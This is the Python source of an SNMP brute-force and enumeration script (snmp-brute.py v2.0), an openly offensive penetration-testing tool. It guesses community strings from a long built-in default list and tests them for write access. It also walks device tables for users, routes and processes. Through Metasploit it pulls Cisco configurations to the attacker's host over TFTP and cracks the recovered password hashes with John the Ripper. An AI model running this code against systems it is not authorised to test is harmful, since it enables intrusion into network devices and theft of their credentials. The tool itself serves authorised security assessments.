#!/usr/bin/env python # Requires metasploit, snmpwalk, snmpstat and John the Ripper # _____ _ ____ _______ ____ __ # / ___// | / / |/ / __ \ / __ )_______ __/ /____ # \__ \/ |/ / /|_/ / /_/ / / __ / ___/ / / / __/ _ \ # ___/ / /| / / / / ____/ / /_/ / / / /_/ / /_/ __/ #/____/_/ |_/_/ /_/_/ /_____/_/ \__,_/\__/\___/ # # SNMP Bruteforce & Enumeration Script # http://www.secforce.com / nikos.vassakis secforce.com # ########################################################## __version__ = 'v2.0' from socket import socket, SOCK_DGRAM, AF_INET, timeout from random import randint from time import sleep import optparse, sys, os from subprocess import Popen, PIPE import threading import signal from scapy.all import (SNMP, SNMPnext, SNMPvarbind, ASN1_OID, SNMPget, ASN1_DECODING_ERROR, ASN1_NULL, ASN1_IPADDRESS, SNMPset, SNMPbulk, IP) ########################################################################################################## # Defaults ########################################################################################################## class defaults: rate=250.0 timeOut=1.0 port=161 delay=2 interactive=True verbose=False getcisco=True colour=True default_communities=['','0','0392a0','1234','2read','3com','3Com','3COM','4changes','access','adm','admin','Admin','administrator','agent','agent_steal','all','all private','all public','anycom','ANYCOM','apc','bintec','blue','boss','c','C0de','cable-d','cable_docsispublic@es0','cacti','canon_admin','cascade','cc','changeme','cisco','CISCO','cmaker','comcomcom','community','core','CR52401','crest','debug','default','demo','dilbert','enable','entry','field','field-service','freekevin','friend','fubar','guest','hello','hideit','host','hp_admin','ibm','IBM','ilmi','ILMI','intel','Intel','intermec','Intermec','internal','internet','ios','isdn','l2','l3','lan','liteon','login','logon','lucenttech','lucenttech1','lucenttech2','manager','master','microsoft','mngr','mngt','monitor','mrtg','nagios','net','netman','network','nobody','NoGaH$@!','none','notsopublic','nt','ntopia','openview','operator','OrigEquipMfr','ourCommStr','pass','passcode','password','PASSWORD','pr1v4t3','pr1vat3','private',' private','private ','Private','PRIVATE','private@es0','Private@es0','private@es1','Private@es1','proxy','publ1c','public',' public','public ','Public','PUBLIC','public@es0','public@es1','public/RO','read','read-only','readwrite','read-write','red','regional','','rmon','rmon_admin','ro','root','router','rw','rwa','sanfran','san-fran','scotty','secret','Secret','SECRET','Secret C0de','security','Security','SECURITY','seri','server','snmp','SNMP','snmpd','snmptrap','snmp-Trap','SNMP_trap','SNMPv1/v2c','SNMPv2c','solaris','solarwinds','sun','SUN','superuser','supervisor','support','switch','Switch','SWITCH','sysadm','sysop','Sysop','system','System','SYSTEM','tech','telnet','TENmanUFactOryPOWER','test','TEST','test2','tiv0li','tivoli','topsecret','traffic','trap','user','vterm1','watch','watchit','windows','windowsnt','workstation','world','write','writeit','xyzzy','yellow','ILMI'] ########################################################################################################## # OID's ########################################################################################################## ''' Credits Some OID's borowed from Cisc0wn script # Cisc0wn - The Cisco SNMP 0wner. # Daniel Compton # www.commonexploits.com # contact@commexploits.com ''' RouteOIDS={ 'ROUTDESTOID': [".1.3.6.1.2.1.4.21.1.1", "Destination"], 'ROUTHOPOID': [".1.3.6.1.2.1.4.21.1.7", "Next Hop"], 'ROUTMASKOID': [".1.3.6.1.2.1.4.21.1.11", "Mask"], 'ROUTMETOID': [".1.3.6.1.2.1.4.21.1.3", "Metric"], 'ROUTINTOID': [".1.3.6.1.2.1.4.21.1.2", "Interface"], 'ROUTTYPOID': [".1.3.6.1.2.1.4.21.1.8", "Route type"], 'ROUTPROTOID': [".1.3.6.1.2.1.4.21.1.9", "Route protocol"], 'ROUTAGEOID': [".1.3.6.1.2.1.4.21.1.10", "Route age"] } InterfaceOIDS={ #Interface Info 'INTLISTOID': [".1.3.6.1.2.1.2.2.1.2", "Interfaces"], 'INTIPLISTOID': [".1.3.6.1.2.1.4.20.1.1", "IP address"], 'INTIPMASKOID': [".1.3.6.1.2.1.4.20.1.3", "Subnet mask"], 'INTSTATUSLISTOID':[".1.3.6.1.2.1.2.2.1.8", "Status"] } ARPOIDS={ # Arp table 'ARPADDR': [".1.3.6.1.2.1.3.1 ","ARP address method A"], 'ARPADDR2': [".1.3.6.1.2.1.3.1 ","ARP address method B"] } OIDS={ 'SYSTEM':["iso.3.6.1.2.1.1 ","SYSTEM Info"] } snmpstat_args={ 'Interfaces':["-Ci","Interface Info"], 'Routing':["-Cr","Route Info"], 'Netstat':["","Netstat"], #'Statistics':["-Cs","Stats"] } '''Credits The following OID's are borrowed from snmpenum.pl script # ----by filip waeytens 2003---- # ---- DA SCANIT CREW www.scanit.be ---- # filip.waeytens@hushmail.com ''' WINDOWS_OIDS={ 'RUNNING PROCESSES': ["1.3.6.1.2.1.25.4.2.1.2","Running Processes"], 'INSTALLED SOFTWARE': ["1.3.6.1.2.1.25.6.3.1.2","Installed Software"], 'SYSTEM INFO': ["1.3.6.1.2.1.1","System Info"], 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], 'DOMAIN': ["1.3.6.1.4.1.77.1.4.1","Domain"], 'USERS': ["1.3.6.1.4.1.77.1.2.25","Users"], 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], 'SHARES': ["1.3.6.1.4.1.77.1.2.27","Shares"], 'DISKS': ["1.3.6.1.2.1.25.2.3.1.3","Disks"], 'SERVICES': ["1.3.6.1.4.1.77.1.2.3.1.1","Services"], 'LISTENING TCP PORTS': ["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"], 'LISTENING UDP PORTS': ["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"] } LINUX_OIDS={ 'RUNNING PROCESSES': ["1.3.6.1.2.1.25.4.2.1.2","Running Processes"], 'SYSTEM INFO': ["1.3.6.1.2.1.1","System Info"], 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], 'MOUNTPOINTS': ["1.3.6.1.2.1.25.2.3.1.3","MountPoints"], 'RUNNING SOFTWARE PATHS': ["1.3.6.1.2.1.25.4.2.1.4","Running Software Paths"], 'LISTENING UDP PORTS': ["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"], 'LISTENING TCP PORTS': ["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"] } CISCO_OIDS={ 'LAST TERMINAL USERS': ["1.3.6.1.4.1.9.9.43.1.1.6.1.8","Last Terminal User"], 'INTERFACES': ["1.3.6.1.2.1.2.2.1.2","Interfaces"], 'SYSTEM INFO': ["1.3.6.1.2.1.1.1","System Info"], 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], 'SNMP Communities': ["1.3.6.1.6.3.12.1.3.1.4","Communities"], 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], 'IP ADDRESSES': ["1.3.6.1.2.1.4.20.1.1","IP Addresses"], 'INTERFACE DESCRIPTIONS': ["1.3.6.1.2.1.31.1.1.1.18","Interface Descriptions"], 'HARDWARE': ["1.3.6.1.2.1.47.1.1.1.1.2","Hardware"], 'TACACS SERVER': ["1.3.6.1.4.1.9.2.1.5","TACACS Server"], 'LOG MESSAGES': ["1.3.6.1.4.1.9.9.41.1.2.3.1.5","Log Messages"], 'PROCESSES': ["1.3.6.1.4.1.9.9.109.1.2.1.1.2","Processes"], 'SNMP TRAP SERVER': ["1.3.6.1.6.3.12.1.2.1.7","SNMP Trap Server"] } ########################################################################################################## # Classes ########################################################################################################## class SNMPError(Exception): '''Credits Class copied from sploitego project __original_author__ = 'Nadeem Douba' https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py ''' pass class SNMPVersion: '''Credits Class copied from sploitego project __original_author__ = 'Nadeem Douba' https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py ''' v1 = 0 v2c = 1 v3 = 2 @classmethod def iversion(cls, v): if v in ['v1', '1']: return cls.v1 elif v in ['v2', '2', 'v2c']: return cls.v2c elif v in ['v3', '3']: return cls.v3 raise ValueError('No such version %s' % v) @classmethod def sversion(cls, v): if not v: return 'v1' elif v == 1: return 'v2c' elif v == 2: return 'v3' raise ValueError('No such version number %s' % v) class SNMPBruteForcer(object): #This class is used for the sploitego method of bruteforce (--sploitego) '''Credits Class copied from sploitego project __original_author__ = 'Nadeem Douba' https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py ''' def __init__(self, agent, port=161, version='v2c', timeout=0.5, rate=1000): self.version = SNMPVersion.iversion(version) self.s = socket(AF_INET, SOCK_DGRAM) self.s.settimeout(timeout) self.addr = (agent, port) self.rate = rate def guess(self, communities): p = SNMP( version=self.version, PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) ) r = [] for c in communities: i = randint(0, 2147483647) p.PDU.id = i p.community = c self.s.sendto(str(p), self.addr) sleep(1/self.rate) while True: try: p = SNMP(self.s.recvfrom(65535)[0]) except timeout: break r.append(p.community.val) return r def __del__(self): self.s.close() class SNMPResults: addr='' version='' community='' write=False def __eq__(self, other): return self.addr == other.addr and self.version == other.version and self.community == other.community.decode("utf-8") ########################################################################################################## # Colour output functions ########################################################################################################## # for color output BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8) #following from Python cookbook, #475186 def has_colours(stream): if not hasattr(stream, "isatty"): return False if not stream.isatty(): return False # auto color only on TTYs try: import curses curses.setupterm() return curses.tigetnum("colors") > 2 except: # guess false in case of error return False has_colours = has_colours(sys.stdout) def printout(text, colour=WHITE): if has_colours and defaults.colour: seq = "\x1b[1;%dm" % (30+colour) + text + "\x1b[0m\n" sys.stdout.write(seq) else: #sys.stdout.write(text) print(text) ########################################################################################################## # ########################################################################################################## def banner(art=True): if art: print( " _____ _ ____ _______ ____ __ ",file=sys.stderr) print( " / ___// | / / |/ / __ \\ / __ )_______ __/ /____ ",file=sys.stderr) print( " \\__ \\/ |/ / /|_/ / /_/ / / __ / ___/ / / / __/ _ \\",file=sys.stderr) print( " ___/ / /| / / / / ____/ / /_/ / / / /_/ / /_/ __/",file=sys.stderr) print( "/____/_/ |_/_/ /_/_/ /_____/_/ \\__,_/\\__/\\___/ ",file=sys.stderr) print( "",file=sys.stderr) print( "SNMP Bruteforce & Enumeration Script " + __version__,file=sys.stderr) print( "http://www.secforce.com / nikos.vassakis secforce.com",file=sys.stderr) print("###############################################################",file=sys.stderr) print( "",file=sys.stderr) def listener(sock,results): while True: try: response,addr=SNMPrecv(sock) except timeout: continue except KeyboardInterrupt: break except: break r=SNMPResults() r.addr=addr r.version=SNMPVersion.sversion(response.version.val) r.community=response.community.val results.append(r) printout (('%s : %s \tVersion (%s):\t%s' % (str(addr[0]),str(addr[1]), SNMPVersion.sversion(response.version.val),response.community.val.decode("utf-8"))),WHITE) def SNMPrecv(sock): try: recv,addr=sock.recvfrom(65535) response = SNMP(recv) return response,addr except: raise def SNMPsend(sock, packets, ip, port=defaults.port, community='', rate=defaults.rate): addr = (ip, port) for packet in packets: i = randint(0, 2147483647) packet.PDU.id = i packet.community = community sock.sendto(bytes(packet), addr) sleep(1/rate) def SNMPRequest(result,OID, value='', TimeOut=defaults.timeOut): s = socket(AF_INET, SOCK_DGRAM) s.settimeout(TimeOut) response='' r=result version = SNMPVersion.iversion(r.version) if value: p = SNMP( version=version, PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID), value=value)]) ) else: p = SNMP( version=version, PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID))]) ) SNMPsend(s,p,r.addr[0],r.addr[1],r.community.decode("utf-8")) for x in range(0, 5): try: response,addr=SNMPrecv(s) break except timeout: # if request times out retry sleep(0.5) continue s.close if not response: raise timeout return response def testSNMPWrite(results,options,OID='.1.3.6.1.2.1.1.4.0'): #Alt .1.3.6.1.2.1.1.5.0 setval='HASH(0xDEADBEF)' for r in results: try: originalval=SNMPRequest(r,OID) if originalval: originalval=originalval[SNMPvarbind].value.val SNMPRequest(r,OID,setval) curval=SNMPRequest(r,OID)[SNMPvarbind].value.val if curval == setval: r.write=True try: SNMPRequest(r,OID,originalval) except timeout: pass if options.verbose: printout (('\t %s (%s) (RW)' % (r.community.decode("utf-8"),r.version)),GREEN) curval=SNMPRequest(r,OID)[SNMPvarbind].value.val if curval != originalval: printout(('Couldn\'t restore value to: %s (OID: %s)' % (str(originalval),str(OID))),RED) else: if options.verbose: printout (('\t %s (%s) (R)' % (r.community.decode("utf-8"),r.version)),BLUE) else: r.write=None printout (('\t %s (%s) (Failed)' % (r.community.decode("utf-8"),r.version)),RED) except timeout: r.write=None printout (('\t %s (%s) (Failed!)' % (r.community.decode("utf-8"),r.version)),RED) continue def generic_snmpwalk(snmpwalk_args,oids): for key, val in oids.items(): try: printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW) entry={} out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines() print('\tINFO') print('\t----\t') for i in out: print('\t',i.strip()) print('\n') except KeyboardInterrupt: pass def enumerateSNMPWalk(result,options): r=result snmpwalk_args=' -c "'+r.community.decode("utf-8")+'" -'+r.version+' '+str(r.addr[0])+':'+str(r.addr[1]) ############################################################### Enumerate OS if options.windows: generic_snmpwalk(snmpwalk_args,WINDOWS_OIDS) return if options.linux: generic_snmpwalk(snmpwalk_args,LINUX_OIDS) return if options.cisco: generic_snmpwalk(snmpwalk_args,CISCO_OIDS) ############################################################### Enumerate CISCO Specific ############################################################### Enumerate Routes entry={} out=os.popen('snmpwalk'+snmpwalk_args+' '+'.1.3.6.1.2.1.4.21.1.1'+' '+'| awk \'{print $NF}\' 2>&1''').readlines() lines = len(out) printout('################## Enumerating Routing Table (snmpwalk)',YELLOW) try: for key, val in RouteOIDS.items(): #Enumerate Routes #print('\t *',val[1], val[0]) out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+'| awk \'{print $NF}\' 2>&1').readlines() entry[val[1]]=out print('\tDestination\t\tNext Hop\tMask\t\t\tMetric\tInterface\tType\tProtocol\tAge') print('\t-----------\t\t--------\t----\t\t\t------\t---------\t----\t--------\t---') for j in range(lines): print( '\t'+entry['Destination'][j].strip().ljust(12,' ') + '\t\t'+entry['Next Hop'][j].strip().ljust(12,' ') + '\t'+entry['Mask'][j].strip().ljust(12,' ') + '\t\t'+entry['Metric'][j].strip().center(6,' ') + '\t'+entry['Interface'][j].strip().center(10,' ') + '\t'+entry['Route type'][j].strip().center(4,' ') + '\t'+entry['Route protocol'][j].strip().center(8,' ') + '\t'+entry['Route age'][j].strip().center(3,' ') ) except KeyboardInterrupt: pass ############################################################### Enumerate Arp print('\n') for key, val in ARPOIDS.items(): try: printout(('################## Enumerating ARP Table using: %s (%s)'%(val[0],val[1])),YELLOW) entry={} out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2 | cut -d\':\' -f 2').readlines() lines=len(out)//3 entry['V']=out[0*lines:1*lines] entry['MAC']=out[1*lines:2*lines] entry['IP']=out[2*lines:3*lines] print('\tIP\t\tMAC\t\t\tV') print('\t--\t\t---\t\t\t--') for j in range(lines): print( '\t'+entry['IP'][j].strip().ljust(12,' ') + '\t'+entry['MAC'][j].strip().ljust(18,' ') + '\t'+entry['V'][j].strip().ljust(2,' ') ) print('\n') except KeyboardInterrupt: pass ############################################################### Enumerate SYSTEM for key, val in OIDS.items(): try: printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW) entry={} out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines() print('\tINFO') print('\t----\t') for i in out: print('\t',i.strip()) print('\n') except KeyboardInterrupt: pass ############################################################### Enumerate Interfaces for key, val in snmpstat_args.items(): try: printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW) out=os.popen('snmpnetstat'+snmpwalk_args+' '+val[0]).readlines() for i in out: print('\t',i.strip()) print('\n') except KeyboardInterrupt: pass def get_cisco_config(result,options): printout(('################## Trying to get config with: %s'% result.community.decode("utf-8")),YELLOW) identified_ip=os.popen('ifconfig eth0 |grep "inet addr:" |cut -d ":" -f 2 |awk \'{ print $1 }\'').read() if options.interactive: Local_ip = input('Enter Local IP ['+str(identified_ip).strip()+']:') or identified_ip.strip() else: Local_ip = identified_ip.strip() if not (os.path.isdir("./output")): os.popen('mkdir output') p=Popen('msfconsole -x "use auxiliary/scanner/snmp/cisco_config_tftp; set RHOSTS '+str(result.addr[0])+'; set LHOST '+str(Local_ip)+'; set COMMUNITY '+result.community.decode("utf-8")+'; set OUTPUTDIR ./output; set RETRIES 1; set RPORT '+str(result.addr[1])+'; set THREADS 5; set VERSION '+result.version.replace('v','')+'; run; exit -y" ',shell=True,stdin=PIPE,stdout=PIPE, stderr=PIPE) #>/dev/null 2>&1 print('msfconsole -x "use auxiliary/scanner/snmp/cisco_config_tftp; set RHOSTS '+str(result.addr[0])+'; set LHOST '+str(Local_ip)+'; set COMMUNITY '+result.community.decode("utf-8")+'; set OUTPUTDIR ./output; set RETRIES 1; set RPORT '+str(result.addr[1])+'; set THREADS 5; set VERSION '+result.version.replace('v','')+'; run; exit -y" ') out=[] while p.poll() is None: line=p.stdout.readline() out.append(line.decode("utf-8")) print(line.decode("utf-8").replace('\n','')) printout('################## Passwords Found:',YELLOW) encrypted=[] for i in out: if "Password" in i: print('\t',i.strip()) if "Encrypted" in i: encrypted.append(i.split()[-1]) if encrypted: print('\nCrack encrypted password(s)?') for i in encrypted: print('\t',i) #if (False if input("(Y/n):").lower() == 'n' else True): if not get_input("(Y/n):",'n',options): with open('./hashes', 'a') as f: for i in encrypted: f.write(i+'\n') p=Popen('john ./hashes',shell=True,stdin=PIPE,stdout=PIPE,stderr=PIPE) while p.poll() is None: print('\t',p.stdout.readline()) print('Passwords Cracked:') out=os.popen('john ./hashes --show').readlines() for i in out: print('\t', i.strip()) out=[] while p.poll() is None: line=p.stdout.readline() out.append(line) print('\t',line.strip()) def select_community(results,options): default=None try: printout("\nIdentified Community strings",WHITE) for l,r in enumerate(results): if r.write==True: printout ('\t%s) %s %s (%s)(RW)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community.decode("utf-8")),str(r.version)),GREEN) default=l elif r.write==False: printout ('\t%s) %s %s (%s)(RO)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community.decode("utf-8")),str(r.version)),BLUE) else: printout ('\t%s) %s %s (%s)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community.decode("utf-8")),str(r.version)),RED) if default is None: default = l if not options.enum: return if options.interactive: selection=input("Select Community to Enumerate ["+str(default)+"]:") if not selection: selection=default else: selection=default try: return results[int(selection)] except: return results[l] except KeyboardInterrupt: exit(0) def SNMPenumeration(result,options): getcisco=defaults.getcisco try: printout (("\nEnumerating with READ-WRITE Community string: %s (%s)" % (result.community.decode("utf-8"),result.version)),YELLOW) enumerateSNMPWalk(result,options) if options.windows or options.linux: if not get_input("Get Cisco Config (y/N):",'y',options): getcisco=False if getcisco: get_cisco_config(result,options) except KeyboardInterrupt: print('\n') return def password_brutefore(options, communities, ips): s = socket(AF_INET, SOCK_DGRAM) s.settimeout(options.timeOut) results=[] #Start the listener T = threading.Thread(name='listener', target=listener, args=(s,results,)) T.start() # Craft SNMP's for both versions p1 = SNMP( version=SNMPVersion.iversion('v1'), PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) ) p2c = SNMP( version=SNMPVersion.iversion('v2c'), PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) ) packets = [p1, p2c] #We try each community string for i,community in enumerate(communities): #sys.stdout.write('\r{0}'.format('.' * i)) #sys.stdout.flush() for ip in ips: SNMPsend(s, packets, ip, options.port, community.rstrip(), options.rate) #We read from STDIN if necessary if options.stdin: while True: try: try: community=input().strip('\n') for ip in ips: SNMPsend(s, packets, ip, options.port, community, options.rate) except EOFError: break except KeyboardInterrupt: break try: print("Waiting for late packets (CTRL+C to stop)") sleep(options.timeOut+options.delay) #Waiting in case of late response except KeyboardInterrupt: pass s.close #We remove any duplicates. This relies on the __equal__ newlist = [] for i in results: if i not in newlist: newlist.append(i) return newlist def get_input(string,non_default_option,options): #(True if input("Enumerate with different community? (Y/n):").lower() == 'n' else False) if options.interactive: if input(string).lower() == non_default_option: return True else: return False else: print(string) return False def main(): parser = optparse.OptionParser(formatter=optparse.TitledHelpFormatter()) parser.set_usage("python snmp-brute.py -t -f ") #parser.add_option('-h','--help', help='Show this help message and exit', action=parser.print_help()) parser.add_option('-f','--file', help='Dictionary file', dest='dictionary', action='store') parser.add_option('-t','--target', help='Host IP', dest='ip', action='store') parser.add_option('-p','--port', help='SNMP port', dest='port', action='store', type='int',default=defaults.port) groupAlt = optparse.OptionGroup(parser, "Alternative Options") groupAlt.add_option('-s','--stdin', help='Read communities from stdin', dest='stdin', action='store_true',default=False) groupAlt.add_option('-c','--community', help='Single Community String to use', dest='community', action='store') groupAlt.add_option('--sploitego', help='Sploitego\'s bruteforce method', dest='sploitego', action='store_true',default=False) groupAuto = optparse.OptionGroup(parser, "Automation") groupAuto.add_option('-b','--bruteonly', help='Do not try to enumerate - only bruteforce', dest='enum', action='store_false',default=True) groupAuto.add_option('-a','--auto', help='Non Interactive Mode', dest='interactive', action='store_false',default=True) groupAuto.add_option('--no-colours', help='No colour output', dest='colour', action='store_false',default=True) groupAdvanced = optparse.OptionGroup(parser, "Advanced") groupAdvanced.add_option('-r','--rate', help='Send rate', dest='rate', action='store',type='float', default=defaults.rate) groupAdvanced.add_option('--timeout', help='Wait time for UDP response (in seconds)', dest='timeOut', action='store', type='float' ,default=defaults.timeOut) groupAdvanced.add_option('--delay', help='Wait time after all packets are send (in seconds)', dest='delay', action='store', type='float' ,default=defaults.delay) groupAdvanced.add_option('--iplist', help='IP list file', dest='lfile', action='store') groupAdvanced.add_option('-v','--verbose', help='Verbose output', dest='verbose', action='store_true',default=False) groupOS = optparse.OptionGroup(parser, "Operating Systems") groupOS.add_option('--windows', help='Enumerate Windows OIDs (snmpenum.pl)', dest='windows', action='store_true',default=False) groupOS.add_option('--linux', help='Enumerate Linux OIDs (snmpenum.pl)', dest='linux', action='store_true',default=False) groupOS.add_option('--cisco', help='Append extra Cisco OIDs (snmpenum.pl)', dest='cisco', action='store_true',default=False) parser.add_option_group(groupAdvanced) parser.add_option_group(groupAuto) parser.add_option_group(groupOS) parser.add_option_group(groupAlt) (options, arguments) = parser.parse_args() communities=[] ips=[] banner(options.colour) #For SPARTA!!! if not options.ip and not options.lfile: #Can't continue without target parser.print_help() exit(0) else: # Create the list of targets if options.lfile: try: with open(options.lfile) as t: ips = t.read().splitlines() #Potential DoS except: print("Could not open targets file: " + options.lfile) exit(0) else: ips.append(options.ip) if not options.colour: defaults.colour=False # Create the list of communities if options.dictionary: # Read from file with open(options.dictionary) as f: communities=f.read().splitlines() #Potential DoS elif options.community: # Single community communities.append(options.community) elif options.stdin: # Read from input communities=[] else: #if not options.community and not options.dictionary and not options.stdin: communities=default_communities #We ensure that default communities are included #if 'public' not in communities: # communities.append('public') #if 'private' not in communities: # communities.append('private') if options.stdin: options.interactive=False results=[] if options.stdin: print("Reading input for community strings ...", file=sys.stderr) else: print("Trying {} community strings ...".format(communities),file=sys.stderr) if options.sploitego: #sploitego method of bruteforce if ips: for ip in ips: for version in ['v1', 'v2c']: bf = SNMPBruteForcer(ip, options.port, version, options.timeOut,options.rate) result=bf.guess(communities) for i in result: r=SNMPResults() r.addr=(ip,options.port) r.version=version r.community=i results.append(r) print(ip, version+'\t',result) else: parser.print_help() else: results = password_brutefore(options, communities, ips) #We identify whether the community strings are read or write if results: printout("\nTrying identified strings for READ-WRITE ...",WHITE) testSNMPWrite(results,options) else: printout("\nNo Community strings found",RED) exit(0) #We attempt to enumerate the router while options.enum: SNMPenumeration(select_community(results,options),options) #if (True if input("Enumerate with different community? (Y/n):").lower() == 'n' else False): if get_input("Enumerate with different community? (y/N):",'y',options): continue else: break if not options.enum: select_community(results,options) print("Finished!") if __name__ == "__main__": main()